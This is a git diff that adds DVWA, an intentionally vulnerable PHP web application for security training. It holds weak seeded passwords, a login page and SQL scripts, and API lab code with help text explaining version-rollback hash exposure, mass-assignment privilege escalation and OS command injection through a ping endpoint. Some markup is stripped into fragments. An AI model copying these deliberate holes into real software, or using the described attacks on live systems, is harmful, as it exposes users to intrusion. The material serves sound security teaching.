diff --git a/examples/dvwa/.gitattributes b/examples/dvwa/.gitattributes new file mode 100644 index 0000000..74dfb38 --- /dev/null +++ b/examples/dvwa/.gitattributes @@ -0,0 +1,31 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# +# The above will handle all files NOT found below +# + +# Documents +*.pdf diff=astextplain +*.PDF diff=astextplain +*.md text diff=markdown + +# Graphics +*.png binary +*.jpg binary +*.jpeg binary +*.ico binary + +# Archives +*.db binary + +# Text files where line endings should be preserved +*.patch -text + +# +# Exclude files from exporting +# + +.gitattributes export-ignore +.gitignore export-ignore +.gitkeep export-ignore diff --git a/examples/dvwa/.gitignore b/examples/dvwa/.gitignore new file mode 100644 index 0000000..f0e07a9 --- /dev/null +++ b/examples/dvwa/.gitignore @@ -0,0 +1,18 @@ +# Neither the config file or its backup should go +# into the repo. +config/config.inc.php.bak +config/config.inc.php + +# Vim swap files +.*swp + +# VS Code editor files +*.code-workspace + +# Used by pytest +tests/__pycache__/ + +# Don't include any uploaded images +hackable/uploads/* +.DS_Store +.DS_Store diff --git a/examples/dvwa/about.php b/examples/dvwa/about.php new file mode 100644 index 0000000..8ae9c29 --- /dev/null +++ b/examples/dvwa/about.php @@ -0,0 +1,56 @@ + +
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment
+Pre-August 2020, All material is copyright 2008-2015 RandomStorm & Ryan Dewhurst.
+Ongoing, All material is copyright Robin Wood and probably Ryan Dewhurst.
+ +Damn Vulnerable Web Application (DVWA) is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version.
+ +Everyone is welcome to contribute and help make DVWA as successful as it can be. All contributors can have their name and link (if they wish) placed in the credits section. To contribute pick an Issue from the Project Home to work on or submit a patch to the Issues list.
+\n"; + +dvwaHtmlEcho( $page ); + +exit; + +?> diff --git a/examples/dvwa/config/config.inc.php.dist b/examples/dvwa/config/config.inc.php.dist new file mode 100644 index 0000000..d82eada --- /dev/null +++ b/examples/dvwa/config/config.inc.php.dist @@ -0,0 +1,56 @@ + \ No newline at end of file diff --git a/examples/dvwa/database/bac_setup.sql b/examples/dvwa/database/bac_setup.sql new file mode 100644 index 0000000..46c751b --- /dev/null +++ b/examples/dvwa/database/bac_setup.sql @@ -0,0 +1,30 @@ +-- Create tables for Broken Access Control module + +-- Table for access logging +CREATE TABLE IF NOT EXISTS access_log ( + id INT AUTO_INCREMENT PRIMARY KEY, + user_id INT NOT NULL, + target_id INT NOT NULL, + action VARCHAR(50) NOT NULL, + timestamp DATETIME NOT NULL, + FOREIGN KEY (user_id) REFERENCES users(user_id), + FOREIGN KEY (target_id) REFERENCES users(user_id) +) ENGINE=InnoDB; + +-- Table for security logging (unauthorized attempts) +CREATE TABLE IF NOT EXISTS security_log ( + id INT AUTO_INCREMENT PRIMARY KEY, + user_id INT NOT NULL, + target_id INT NOT NULL, + action VARCHAR(50) NOT NULL, + timestamp DATETIME NOT NULL, + ip_address VARCHAR(45) NOT NULL, + FOREIGN KEY (user_id) REFERENCES users(user_id), + FOREIGN KEY (target_id) REFERENCES users(user_id) +) ENGINE=InnoDB; + +-- Add role column to users table if it doesn't exist +ALTER TABLE users ADD COLUMN IF NOT EXISTS role VARCHAR(20) DEFAULT 'user'; + +-- Update admin user to have admin role +UPDATE users SET role = 'admin' WHERE user = 'admin'; diff --git a/examples/dvwa/database/create_mssql_db.sql b/examples/dvwa/database/create_mssql_db.sql new file mode 100644 index 0000000..a1657f6 --- /dev/null +++ b/examples/dvwa/database/create_mssql_db.sql @@ -0,0 +1,15 @@ +/* +In case I get round to adding MS SQL support, this creates and populates the tables. +*/ + +CREATE DATABASE dvwa; + +USE dvwa; + +CREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), [user] VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login DATETIME, failed_login INT); + +INSERT INTO users VALUES ('1','admin','admin','admin',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'admin.jpg', GETUTCDATE(), '0'), ('2','Gordon','Brown','gordonb',CONVERT(NVARCHAR(32),HashBytes('MD5', 'abc123'),2),'gordonb.jpg', GETUTCDATE(), '0'), ('3','Hack','Me','1337',CONVERT(NVARCHAR(32),HashBytes('MD5', 'charley'),2),'1337.jpg', GETUTCDATE(), '0'), ('4','Pablo','Picasso','pablo',CONVERT(NVARCHAR(32),HashBytes('MD5', 'letmein'),2),'pablo.jpg', GETUTCDATE(), '0'), ('5', 'Bob','Smith','smithy',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'smithy.jpg', GETUTCDATE(), '0'); + +CREATE TABLE guestbook (comment_id INT IDENTITY(1,1) PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100),2); + +INSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test'); diff --git a/examples/dvwa/database/create_oracle_db.sql b/examples/dvwa/database/create_oracle_db.sql new file mode 100644 index 0000000..7bf70f2 --- /dev/null +++ b/examples/dvwa/database/create_oracle_db.sql @@ -0,0 +1,27 @@ +/* Create a copy of the database and contents in Oracle */ + +CREATE TABLE users ( +user_id NUMBER NOT NULL, +first_name varchar(20) DEFAULT NULL, +last_name varchar(20) DEFAULT NULL, +"user" varchar(20) DEFAULT NULL, +password varchar(20) DEFAULT NULL, +avatar varchar(20) DEFAULT NULL, +last_login TIMESTAMP, +failed_login NUMBER, +PRIMARY KEY (user_id) +); + +CREATE TABLE guestbook +(comment_id NUMBER GENERATED BY DEFAULT AS IDENTITY, +"comment" VARCHAR(100) DEFAULT NULL, +"name" VARCHAR(100) NOT NULL, +PRIMARY KEY (comment_id)); + +INSERT INTO users values ('1','admin','admin','admin',('password'),'admin.jpg', sysdate, '0'); +INSERT INTO users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', sysdate, '0'); +INSERT INTO users values ('3','Hack','Me','1337',('charley'),'1337.jpg', sysdate, '0'); +INSERT INTO users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', sysdate, '0'); +INSERT INTO users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', sysdate, '0'); + +INSERT INTO guestbook ("comment", "name") VALUES ('What a brilliant app!', 'Marcel Marceau'); diff --git a/examples/dvwa/database/create_postgresql_db.sql b/examples/dvwa/database/create_postgresql_db.sql new file mode 100644 index 0000000..20e9614 --- /dev/null +++ b/examples/dvwa/database/create_postgresql_db.sql @@ -0,0 +1,7 @@ +CREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), "user" VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login timestamp, failed_login INT); + +INSERT INTO users VALUES ('1','admin','admin','admin',MD5('password'),'admin.jpg', CURRENT_TIMESTAMP, '0'),('2','Gordon','Brown','gordonb',MD5('abc123'),'gordonb.jpg', CURRENT_TIMESTAMP, '0'), ('3','Hack','Me','1337',MD5('charley'),'1337.jpg', CURRENT_TIMESTAMP, '0'), ('4','Pablo','Picasso','pablo',MD5('letmein'),'pablo.jpg', CURRENT_TIMESTAMP, '0'), ('5', 'Bob','Smith','smithy',MD5('password'),'smithy.jpg', CURRENT_TIMESTAMP, '0'); + +CREATE TABLE guestbook (comment_id serial PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100)); + +INSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test'); diff --git a/examples/dvwa/database/create_sqlite_db.sql b/examples/dvwa/database/create_sqlite_db.sql new file mode 100644 index 0000000..08463dc --- /dev/null +++ b/examples/dvwa/database/create_sqlite_db.sql @@ -0,0 +1,27 @@ +CREATE TABLE `users` ( +`user_id` int NOT NULL, +`first_name` text DEFAULT NULL, +`last_name` text DEFAULT NULL, +`user` text DEFAULT NULL, +`password` text DEFAULT NULL, +`avatar` text DEFAULT NULL, +`last_login` datetime, +`failed_login` int, +PRIMARY KEY (`user_id`) +); + +CREATE TABLE `guestbook` ( +`comment_id` int, +`comment` text default null, +`name` text DEFAULT NULL, +PRIMARY KEY (`comment_id`) +); + + +insert into users values ('1','admin','admin','admin',('password'),'admin.jpg', DATE(), '0'); +insert into users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', DATE(), '0'); +insert into users values ('3','Hack','Me','1337',('charley'),'1337.jpg', DATE(), '0'); +insert into users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', DATE(), '0'); +insert into users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', DATE(), '0');; + +insert into guestbook values ('1', 'What a brilliant app!', 'Marcel Marceau'); diff --git a/examples/dvwa/database/sqli.db b/examples/dvwa/database/sqli.db new file mode 100644 index 0000000..5361158 Binary files /dev/null and b/examples/dvwa/database/sqli.db differ diff --git a/examples/dvwa/database/sqli.db.dist b/examples/dvwa/database/sqli.db.dist new file mode 100644 index 0000000..d8e12b7 Binary files /dev/null and b/examples/dvwa/database/sqli.db.dist differ diff --git a/examples/dvwa/docs/DVWA_v1.3.pdf b/examples/dvwa/docs/DVWA_v1.3.pdf new file mode 100644 index 0000000..fb3e952 Binary files /dev/null and b/examples/dvwa/docs/DVWA_v1.3.pdf differ diff --git a/examples/dvwa/docs/graphics/docker/detail.png b/examples/dvwa/docs/graphics/docker/detail.png new file mode 100644 index 0000000..b428ff2 Binary files /dev/null and b/examples/dvwa/docs/graphics/docker/detail.png differ diff --git a/examples/dvwa/docs/graphics/docker/overview.png b/examples/dvwa/docs/graphics/docker/overview.png new file mode 100644 index 0000000..990f5a8 Binary files /dev/null and b/examples/dvwa/docs/graphics/docker/overview.png differ diff --git a/examples/dvwa/docs/pdf.html b/examples/dvwa/docs/pdf.html new file mode 100644 index 0000000..43eb3a7 --- /dev/null +++ b/examples/dvwa/docs/pdf.html @@ -0,0 +1 @@ +Damn Vulnerable Web Application (DVWA) Official Documentation PDF v1.3 diff --git a/examples/dvwa/dvwa/css/help.css b/examples/dvwa/dvwa/css/help.css new file mode 100644 index 0000000..aaf04c9 --- /dev/null +++ b/examples/dvwa/dvwa/css/help.css @@ -0,0 +1,45 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + +div#container { +} + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} + +span.spoiler { + background-color: black; + color: black; +} + +/* === Dark theme === */ +body.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.dark a { + color: #99cc33; +} + +body.dark div#code { + background-color: #2f2f2f; + color: #f8fafa; +} + +body.dark table { + background-color: #2f2f2f; + border: none !important; +} \ No newline at end of file diff --git a/examples/dvwa/dvwa/css/login.css b/examples/dvwa/dvwa/css/login.css new file mode 100644 index 0000000..4e39732 --- /dev/null +++ b/examples/dvwa/dvwa/css/login.css @@ -0,0 +1,59 @@ +body { + background: #fefffe; + font: 12px/15px Arial, Helvetica, sans-serif; + line-height: 20px; + color: #6b6b6b; +} + +#wrapper { + text-align: center; + margin: 0 auto; +} + +#content { + display: inline-block; + padding: 20px; + width: auto; +} + +#footer { + position: absolute; + width: 100%; + height: 50px; + bottom: 0px; + left: 0px; +} + +label { + float: left; + text-align: right; + margin-right: 0.5em; + display: block; + overflow: hidden; + padding-right: 50px; + font-weight: bold; +} + +.loginInput { + float: left; + color: #6B6B6B; + width: 320px; + background-color: #F4F4F4; + border: 1px; + border-style: solid; + border-color: #c4c4c4; + padding: 6px; + margin-bottom: 12px; +} + +fieldset { + width: 350px; + padding: 10px 20px 10px 20px; + overflow: hidden; + border-style: none; +} + +p { + font-size: 10px; +} + diff --git a/examples/dvwa/dvwa/css/main.css b/examples/dvwa/dvwa/css/main.css new file mode 100644 index 0000000..514e612 --- /dev/null +++ b/examples/dvwa/dvwa/css/main.css @@ -0,0 +1,340 @@ +body { + margin: 0; + color: #2f2f2f; + font: 12px/15px Arial, Helvetica, sans-serif; + min-width: 981px; + height: 100%; + position: relative; +} + +body.home { + background: #e7e7e7; +} + +div.clear { + clear: both; +} + +a { + color: #99cc33; + text-decoration: underline; + font-weight: bold; +} + +a img { + border: 0; +} + +a: hover { + text-decoration: none; +} + +input, textarea, select { + font: 100% arial,sans-serif; + vertical-align: middle; +} + +form,fieldset { + margin: 0; + padding: 0; + border-style: none; +} + +em { + font-weight: bold; + font-style: normal; +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0px; +} + +h1 { + font-size: 200%; +} + +h2 { + font-size: 160%; +} + + +h3 { + font-size: 130%; +} + +hr { + border-width: 0px; + color: #C3D9FF; + background-color: #C3D9FF; + height: 1px; +} + +ul.menuBlocks { + list-style-type: none; + padding-left: 0px; + margin-top: 0px; + margin-bottom: 0px; + margin-left: 0px; +} + +ul + ul, ul + ul.menuBlocks, ul + h1, ul + h2, ul + p { + margin-top: 20px; +} + +.fixed { + font-family: Fixed, Courier, monospace; + font-size: 13px; +} + +div.nearly { + border: 2px solid #0000ff; + padding: 10px 20px 10px 20px; + margin-top: 15px; + margin-bottom: 15px; +} + +div.success { + border: 2px solid #00ff00; + padding: 10px 20px 10px 20px; + text-align: center; + font-weight: bold; + margin-top: 15px; + margin-bottom: 15px; +} + +div.warning { + border: 2px solid #ff0000; + padding: 10px 20px 10px 20px; + color: #800000; + margin-top: 15px; + margin-bottom: 15px; +} + +div.warning h1 { + color: #ff0000; +} + +div.message { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; + width: 45%; +} + +div#container { + width: 900px; + height: 100%; + margin-left: auto; + margin-right: auto; + background: #f4f4f4; + font-size: 13px; +} + +div#header { + position: relative; + padding: 10px; + overflow: hidden; + background: #2f2f2f; + border-bottom: 5px solid #A1CC33; + text-align: center; +} + +div#system_info { + padding: 10px; + text-align: right; +} + +div#main_body { + float: right; + width: 693px; + background: #f4f4f4; + padding-top: 20px; + padding-bottom: 10px; + font-size: 13px; +} + +div.body_padded { + padding-left: 20px; + padding-right: 20px; +} + +div#main_menu { + float: left; + width: 200px; + height: 100%; + background-color: #f4f4f4; + padding-top: 10px; + padding-bottom: 10px; +} + +div#main_menu li { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px 3px 5px; + margin-bottom: 3px; + background-color: #bebebe; +} + +div#main_menu li a { + color: #000000; + text-decoration: none; + display: block; +} + +div#main_menu li:hover { + background-color: #ccc; +} + + +div#main_menu li.selected { + border-color: #758DAE #758DAE #758DAE #758DAE; + background-color: #99cc33; +} + +div#main_menu li.selected a { + color: #F9F7ED; +} + +div#main_menu li: hover { + border-color: #D2D4D4; +} + +div#main_menu li: hover a { + color: #F9F7ED; +} + +div#main_menu_padded { + padding: 15px; +} + +div#footer { + color: #999999; + background: #2f2f2f; + padding: 10px; + text-align: center; + border-top: 5px solid #A1CC33; +} + +.popup_button { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px; + margin-bottom: 3px; + background-color: #bebebe; + font-weight: bold; + float: right; + cursor: pointer; + color: #000000; +} + +.popup_button:hover { + color: white; + background-color: #A1CC33; +} + + + + +div.vulnerable_code_area { + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #000000; + padding: 10px 20px 10px 20px; + margin-bottom: 20px; +} + +div#guestbook_comments { + width: 45%; + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #C0C0C0; + padding: 5px 10px 5px 10px; + margin-bottom: 5px; +} + +div#idslog { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; +} + +pre { + color: red; +} + +div.submenu { + border-bottom: 1px solid #000000; + margin-bottom: 15px; + padding: 4px 0px 10px 0px; + font-size: 13px; +} + +span.submenu_item { + padding: 0px 10px 0px 10px; +} + +span.submenu_item + span.submenu_item { + border-left: 1px dashed #000000; + font-size: 13px; +} + +span.selected { + font-weight: bold; +} + +span.success { + + color:green; +} + +span.failure { + color:red; + font-weight: bold; +} + +.theme-icon { + position: absolute; + right: 0; +} + +.theme-icon img { + height: 32px; + width: 32px; +} + + +/* === Dark theme === */ +body.home.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.home.dark #container, +body.home.dark #main_menu, +body.home.dark #main_body, +body.home.dark #system_info { + background: #2f2f2f; +} + +body.home.dark .vulnerable_code_area { + background: #2f2f2f; +} + +body.home.dark .message { + background-color: #2f2f2f; +} + +body.home.dark div#guestbook_comments { + background-color: #2f2f2f; +} + +.notice { + color: red; + font-weight: bold; +} diff --git a/examples/dvwa/dvwa/css/source.css b/examples/dvwa/dvwa/css/source.css new file mode 100644 index 0000000..58fa5a1 --- /dev/null +++ b/examples/dvwa/dvwa/css/source.css @@ -0,0 +1,47 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + +div#container { +} + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} + +.loginSuccess { + color: #638323; +} + +.loginFail { + color: #a50a0a; +} + +/* === Dark theme === */ +body.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.dark a { + color: #99cc33; +} + +body.dark div#code { + background-color: #bdbdbd; +} + +body.dark table { + background-color: #2f2f2f; + border: none !important; +} \ No newline at end of file diff --git a/examples/dvwa/dvwa/images/dollar.png b/examples/dvwa/dvwa/images/dollar.png new file mode 100644 index 0000000..5bc12b9 Binary files /dev/null and b/examples/dvwa/dvwa/images/dollar.png differ diff --git a/examples/dvwa/dvwa/images/lock.png b/examples/dvwa/dvwa/images/lock.png new file mode 100644 index 0000000..16979f1 Binary files /dev/null and b/examples/dvwa/dvwa/images/lock.png differ diff --git a/examples/dvwa/dvwa/images/login_logo.png b/examples/dvwa/dvwa/images/login_logo.png new file mode 100644 index 0000000..11c59f4 Binary files /dev/null and b/examples/dvwa/dvwa/images/login_logo.png differ diff --git a/examples/dvwa/dvwa/images/logo.png b/examples/dvwa/dvwa/images/logo.png new file mode 100644 index 0000000..b98bcf6 Binary files /dev/null and b/examples/dvwa/dvwa/images/logo.png differ diff --git a/examples/dvwa/dvwa/images/spanner.png b/examples/dvwa/dvwa/images/spanner.png new file mode 100644 index 0000000..efafbcf Binary files /dev/null and b/examples/dvwa/dvwa/images/spanner.png differ diff --git a/examples/dvwa/dvwa/images/theme-light-dark.png b/examples/dvwa/dvwa/images/theme-light-dark.png new file mode 100644 index 0000000..cf844e0 Binary files /dev/null and b/examples/dvwa/dvwa/images/theme-light-dark.png differ diff --git a/examples/dvwa/dvwa/images/warning.png b/examples/dvwa/dvwa/images/warning.png new file mode 100644 index 0000000..6c9e470 Binary files /dev/null and b/examples/dvwa/dvwa/images/warning.png differ diff --git a/examples/dvwa/dvwa/includes/DBMS/MySQL.php b/examples/dvwa/dvwa/includes/DBMS/MySQL.php new file mode 100644 index 0000000..c74fd4d --- /dev/null +++ b/examples/dvwa/dvwa/includes/DBMS/MySQL.php @@ -0,0 +1,159 @@ +Please check the config file.Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.
+The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficultly, with a simple straightforward interface.
+It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.
+Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.
+There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.
+Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual machine (such as " . dvwaExternalLinkUrlGet( 'https://www.virtualbox.org/','VirtualBox' ) . " or " . dvwaExternalLinkUrlGet( 'https://www.vmware.com/','VMware' ) . "), which is set to NAT networking mode. Inside a guest machine, you can download and install " . dvwaExternalLinkUrlGet( 'https://www.apachefriends.org/','XAMPP' ) . " for the web server and database.
+We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
+DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want more difficult challenges, you may wish to look into the following other projects:
+' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '.' ); + if( $result && mysqli_num_rows( $result ) == 1 ) { // Login Successful... + dvwaMessagePush( "You have logged in as '{$user}'" ); + dvwaLogin( $user ); + dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'index.php' ); + } + + // Login failed + dvwaMessagePush( 'Login failed' ); + dvwaRedirect( 'login.php' ); +} + +$messagesHtml = messagesPopAllToHtml(); + +Header( 'Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 +Header( 'Content-Type: text/html;charset=utf-8' ); // TODO- proper XHTML headers... +Header( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' ); // Date in the past + +// Anti-CSRF +generateSessionToken(); + +echo " + + + + + + + +
Try installing again.
"; + } + $securityOptionsHtml .= ""; +} + +// Anti-CSRF +generateSessionToken(); + +$page[ 'body' ] .= " +
Click on the 'Create / Reset Database' button below to create or reset your database.
+ If you get an error make sure you have the correct user credentials in: " . realpath( getcwd() . DIRECTORY_SEPARATOR . "config" . DIRECTORY_SEPARATOR . "config.inc.php" ) . "
If the database already exists, it will be cleared and the data will be reset.
+ You can also use this to reset the administrator credentials (\"admin // password\") at any stage.
allow_url_fopen = On
+allow_url_include = On
+ These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.
+
+
+ About++ Most modern web apps use some kind of API, either as Single Page Apps (SPAs) or to retrieve data to populate traditional apps. As these APIs are behind the scenes, developers sometimes feel they can cut corners in areas such as authentication, authorisation or data validation. As testers, we can get behind the curtains and directly access these seemingly hidden calls to take advantage of these weaknesses. + ++ This module will look at three weaknesses, versioning, mass assignment, and ..... + + ++ + Objective+Each level has its own objective but the general idea is to exploit weak API implementations. + ++ + Low Level+The call being made by the JavaScript is for version 2 of the endpoint, could there be other, earlier, versions available? ++ + +
+
+
+ Either by looking at the JavaScript or watching network traffic, you should notice that there is a call being made to
+ As the call is being made against version two ( + Whatever approach you try, by accessing version one of the endpoint, you should be able to see the password hashes as part of the data. + +Medium Level++ Look at the call made by the site, but also look at the swagger docs and see if there are any other parameters you might be able to add that are not currently passed. + ++ + +
+
+
+ When you update your name, a PUT request is made to
+
+
+ If you look at the swagger docs, the definition for
+
+
+ Which is what you are currently passing, but if you have a look at
+
+
+ Notice the extra + In situations like this, it is always worth testing to see if extra parameters which exist on similar calls will also work on the one you are working on. + + +
+ To try this, you can either intercept the request in a proxy, or you can modify the JSON before the request is sent to the server. To modify it in the page, you can set a breakpoint in the
+
+ + If you do this and then check the JSON sent in the PUT request, you should see: + + +
+
+ + And hopefully a congratulations message. + +High Level+Import the four health calls into your testing tool of choice and make sure they are running properly. When they are all working, test them for vulnerabilities. + ++ + + +
+
+
+ The connectivity call takes a target parameter and pings it to check for a connection, this is done by calling the OS ping command and is vulnerable to command injection. ++ For more information on how to exploit this type of issue, see the command injection module. + +Impossible Level++ The challenge here is just to get the login process automated in Postman or your tool of choice. Read the documentation and experiment. To help get things working I piped everything through Burp and watched each call as it was made to see if it matched what I expected. + +
+ When the flow works correctly, the initial login will return an access token and a refresh token along with an + It should be noted that as well as the access token having a fixed lifespan, the refresh token also has a fixed lifespan, once it has expired, the login process has to begin again from scratch. + + |
+
+ Note, this file assumes you are running DVWA out of the document root, if you have installed it into a subdirectory, such as DVWA, then you will need to update it. Look through the file for the paths, e.g.
+ /vulnerabilities/api/v2/health/echo
+ and prepend your directory, so if you are in the DVWA directory you would change it to
+ /DVWA/vulnerabilities/api/v2/health/echo
+
+ You might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as Swagger UI, Burp, ZAP, or Postman and let the tool do the hard work of setting the requests up for you. +
+"; + +?> diff --git a/examples/dvwa/vulnerabilities/api/source/impossible.php b/examples/dvwa/vulnerabilities/api/source/impossible.php new file mode 100644 index 0000000..aec173b --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/source/impossible.php @@ -0,0 +1,22 @@ + + Rather than try to develop a perfect API, there is a different type of challenge for this level. + ++ The order system uses OAuth 2.0 for authentication. Being able to automate using this in your tools will greatly help with efficiency, removing the need to manually login and copy access tokens around. Use this level to practice setting up OAuth 2.0 in your testing tool of choice, for me this is Postman which is then proxied through Burp, but you can pick whatever tools are most appropriate for your testing environment. +
++ Here are some guides that might help: +
+ + +"; + +?> diff --git a/examples/dvwa/vulnerabilities/api/source/low.php b/examples/dvwa/vulnerabilities/api/source/low.php new file mode 100644 index 0000000..9fb40f6 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/source/low.php @@ -0,0 +1,121 @@ + + Versioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities. + +"; + +$html .= " + +"; + +$html .= " + ++ Look at the call used to create this table and see if you can exploit it to return some additional information. +
+ + +"; + +?> diff --git a/examples/dvwa/vulnerabilities/api/source/medium.php b/examples/dvwa/vulnerabilities/api/source/medium.php new file mode 100644 index 0000000..638f2e9 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/source/medium.php @@ -0,0 +1,98 @@ + + function update_username(user_json) { + console.log(user_json); + var user_info = document.getElementById ('user_info'); + var name_input = document.getElementById ('name'); + + if (user_json.name == '') { + user_info.innerHTML = 'User details: unknown user'; + name_input.value = 'unknown'; + } else { + var level = 'unknown'; + if (user_json.level == 0) { + level = 'admin'; + successDiv = document.getElementById ('message'); + successDiv.style.display = 'block'; + } else { + level = 'user'; + } + user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')'; + name_input.value = user_json.name; + } + } + + function get_user() { + const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/2'; + + fetch(url, { + method: 'GET', + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + update_username (data); + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + } + + function update_name() { + const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/2'; + const name = document.getElementById ('name').value; + const data = JSON.stringify({name: name}); + + fetch(url, { + method: 'PUT', + headers: { + 'Content-Type': 'application/json' + }, + body: data + }) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.json(); + }) + .then(data => { + update_username(data); + }) + .catch(error => { + console.error('There was a problem with your fetch operation:', error); + }); + } + +"; + +$html .= " ++ Look at the call used to update your name and exploit it to elevate your user to admin (level 0). +
+ + + + +"; + +?> diff --git a/examples/dvwa/vulnerabilities/api/src/GenericController.php b/examples/dvwa/vulnerabilities/api/src/GenericController.php new file mode 100644 index 0000000..c1fa518 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/GenericController.php @@ -0,0 +1,80 @@ +command = $command; + } + + private function optionsResponse() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + private function unprocessableEntityResponse() + { + $response['status_code_header'] = 'HTTP/1.1 422 Unprocessable Entity'; + $response['body'] = json_encode([ + 'error' => 'Invalid input' + ]); + return $response; + } + + private function notFoundResponse() { + $response['status_code_header'] = 'HTTP/1.1 404 Not Found'; + $response['body'] = null; + return $response; + } + + private function methodNotSupported() { + $response['status_code_header'] = 'HTTP/1.1 405 Method Not Supported'; + $response['body'] = null; + return $response; + } + + private function teapotResponse() { + $response['status_code_header'] = "HTTP/1.1 418 I'm a teapot"; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->command) { + case "teapot": + $response = $this->teapotResponse(); + break; + case "notfound": + $response = $this->notFoundResponse(); + break; + case "notSupported": + $response = $this->methodNotSupported(); + break; + case "unprocessable": + $response = $this->unprocessableEntityResponse(); + break; + case "options": + $response = $this->optionsResponse(); + break; + default: + $response = $this->notFoundResponse(); + break; + }; + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + exit(); + } +} diff --git a/examples/dvwa/vulnerabilities/api/src/HealthController.php b/examples/dvwa/vulnerabilities/api/src/HealthController.php new file mode 100644 index 0000000..e828505 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/HealthController.php @@ -0,0 +1,200 @@ +requestMethod = $requestMethod; + $this->command = $command; + } + + #[OAT\Post( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/echo', + operationId: 'echo', + description: 'Echo, echo, cho, cho, o o ....', + parameters: [ + new OAT\RequestBody ( + description: 'Your words.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Words::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function echo() { + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("words", $input)) { + $words = $input['words']; + + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("reply" => 